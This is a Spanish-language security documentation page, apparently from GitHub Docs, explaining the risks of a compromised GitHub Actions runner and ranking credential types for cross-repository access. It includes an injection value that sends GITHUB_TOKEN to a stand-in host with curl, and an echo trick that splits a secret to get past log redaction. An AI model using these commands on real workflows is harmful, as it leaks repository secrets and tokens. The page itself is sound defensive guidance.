Ejecutores en peligro

Comprende los riesgos de seguridad asociados a los ejecutores de GitHub Actions en peligro.

En este artículo

Impacto potencial de un ejecutor puesto en riesgo

Estas secciones consideran algunos de los pasos que puede llevar a cabo un atacante si pueden ejecutar comandos malintencionados en un ejecutor de GitHub Actions.

Acceder a los secretos

Los flujos de trabajo desencadenados desde un repositorio bifurcado mediante el evento pull_request tienen permisos de solo lectura y no tienen acceso a secretos. Pero estos permisos difieren para varios desencadenadores de eventos, como issue_comment, issues y push, y pull_request desde una rama dentro del repositorio, donde el atacante podría intentar robar secretos del repositorio o usar el permiso de escritura del elemento GITHUB_TOKEN del trabajo.

  • Si el token o el secreto se configura como una variable de entorno, se puede acceder a él directamente mediante el entorno con printenv.

  • Si el secreto se utiliza dierctamente en una expresiòn, el script del shell que se generò se almacenarà en el disco y se podrà acceder al èl.

  • En el caso de una acción eprsonalizada, el riesgo puede variar dependiendo de cómo un programa utiliza el secreto que obtuvo del argumento:

    uses: fakeaction/publish@v3
with:
    key: ${{ secrets.PUBLISH_KEY }}

Aunque GitHub Actions limpia los secretos de la memoria a los que no se hace referencia en el flujo de trabajo (o que no se incluyen en una acción), un atacante determinado podría recopilar GITHUB_TOKEN y cualquier secreto al que se hace referencia.

Exfiltrar datos de un ejecutor

Un atacante puede exfiltrar cualquier secreto u otros datos robados del ejecutor. Para evitar la revelación accidental de secretos, GitHub Actions redacta automáticamente los secretos impresos en el registro, pero esto no es un límite de seguridad verdadero porque los secretos se pueden enviar intencionadamente al registro. Por ejemplo, los secretos ofuscados se pueden filtrar mediante echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. Adicionalmente, ya que el atacante podría ejecutar comandos arbitrarios, podrían utilizar las solicitudes de tipo HTTP para enviar secretos u otros datos del repositorio a un servidor externo.

Robo del elemento GITHUB_TOKEN del trabajo

Es posible que un atacante robe el elemento GITHUB_TOKEN del trabajo. El ejecutor de GitHub Actions recibe automáticamente un elemento GITHUB_TOKEN generado con permisos que se limitan únicamente al repositorio que contiene el flujo de trabajo y el token expira una vez que se haya completado el trabajo. Una vez que se venza, el token ya no será útil para un atacante. Para evitar esta limitación, pueden automatizar el ataque y realizarlo en fracciones de segundo llamando a un servidor controlado por el atacante con el token, por ejemplo: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Modificar el contenido de un repositorio

El servidor del atacante puede usar la API de GitHub para modificar el contenido del repositorio, incluidas las versiones, si los permisos asignados deGITHUB_TOKEN no están restringidos.

Acceso entre repositorios

GitHub Actions tiene el alcance intencional de un solo repositorio a la vez. GITHUB_TOKEN concede el mismo nivel de acceso que el de un usuario con acceso de escritura, ya que cualquier usuario con este tipo de acceso puede acceder a este token creando o modificando un archivo de flujo de trabajo, lo que eleva los permisos de GITHUB_TOKEN en caso de ser necesario. Los usuarios tienen permisos específicos para cada repositorio, por lo que permitir que GITHUB_TOKEN para un repositorio otorgue acceso a otro afectaría al modelo de permisos de GitHub si no se implementa con cuidado. De forma similar, se debe tener cuidado al agregar tokens de autenticación de GitHub a un flujo de trabajo, ya que esto también puede afectar el modelo de permisos de GitHub al otorgar inadvertidamente un acceso amplio a los colaboradores.

Si tu organización es propiedad de una cuenta empresarial, puedes compartir y reutilizar GitHub Actions almacenándolas en repositorios internos. Para más información, consulta Sharing actions and workflows with your enterprise.

Otra forma de realizar interacciones privilegiadas entre repositorios es hacer referencia a un token de autenticación de GitHub o llave SSH como un secreto dentro del flujo de trabajo. Ya que muchos tipos de tokens de autenticación no permiten el acceso granular a recursos específicos, existe un riesgo significativo en el utilizar el tipo incorrecto de token, ya que puede otorgr un acceso mucho más amplio que lo que se espera.

Esta lista describe los acercamientos recomendatos para acceder alos datos de un repositorio dentro de un flujo de trabjajo, en orden descendente de preferencia:

  1. ElGITHUB_TOKEN
    • Este token tiene un ámbito intencional para el repositorio único que invocó el flujo de trabajo y puede tener el mismo nivel de acceso que el de un usuario con acceso de escritura en el repositorio. El token se crea antes de que inicie cada job y caduca cuando dicho job finaliza. Para más información, consulta Uso de GITHUB_TOKEN en flujos de trabajo.
    • GITHUB_TOKEN se debe usar siempre que sea posible.
  2. Clave de implementación del repositorio
    • Las llaves de despliegue son uno de los únicos tipos de credenciales que otorgan acceso de lectura o escritura en un solo repositorio, y pueden utilizarse para interactuar con otro repositorio dentro de un flujo de trabajo. Para más información, consulta Administrar las llaves de despliegue.
    • Nota que las llaves de despliegue solo pueden clonarse y subirse al repositorio utilizando Git, y no pueden utilizarse para interactuar con las API de REST o de GraphQL, así que puede no sean adecuadas para tus necesidades.
  3. Tokens de GitHub App
  4. personal access tokens
    • Nunca debes usar un personal access token (classic). Estos tokens conceden acceso a todos los repositorios de las organizaciones a las que tienes acceso, así como a los repositorios de tu cuenta personal. Esto otorga indirectamente acceso amplio a todos los usuarios con permisos de escritura para el repositorio en el cual se encuentra el flujo de trabajo.
    • Si usas un personal access token, nunca debes usar un personal access token desde tu propia cuenta. Si sales de una organización más adelante, los flujos de trabajo que utilicen este token fallarán inmediatamente, y depurar este problema puede ser difícil. En su lugar, debes usar un fine-grained personal access token para una nueva cuenta que pertenece a tu organización y a la que solo se concede acceso a los repositorios específicos necesarios para el flujo de trabajo. Nota que este acercamiento no es escalable y debe evitarse para favorecer otras alternativas, tales como las llaves de despliegue.
  5. Claves SSH en una cuenta personal
    • Los flujos de trabajo nunca deben usar las llaves SSH en una cuenta personal. De forma similar a personal access tokens (classic), otorgan permisos de lectura/escritura a todos tus repositorios personales así como a todos los repositorios a los que tengas acceso gracias a la pertenencia a una organización. Esto otorga indirectamente acceso amplio a todos los usuarios con permisos de escritura para el repositorio en el cual se encuentra el flujo de trabajo. Si pretendes utilizar una llave SSH porque solo necesitas llevar a cabo clonados de repositorio o subidas a éste, y no necesitas interactuar con una API pública, entonces mejor deberías utilizar llaves de despliegue individuales.

Pasos siguientes

Para obtener los procedimientos recomendados de seguridad con GitHub Actions, consulta Secure use reference.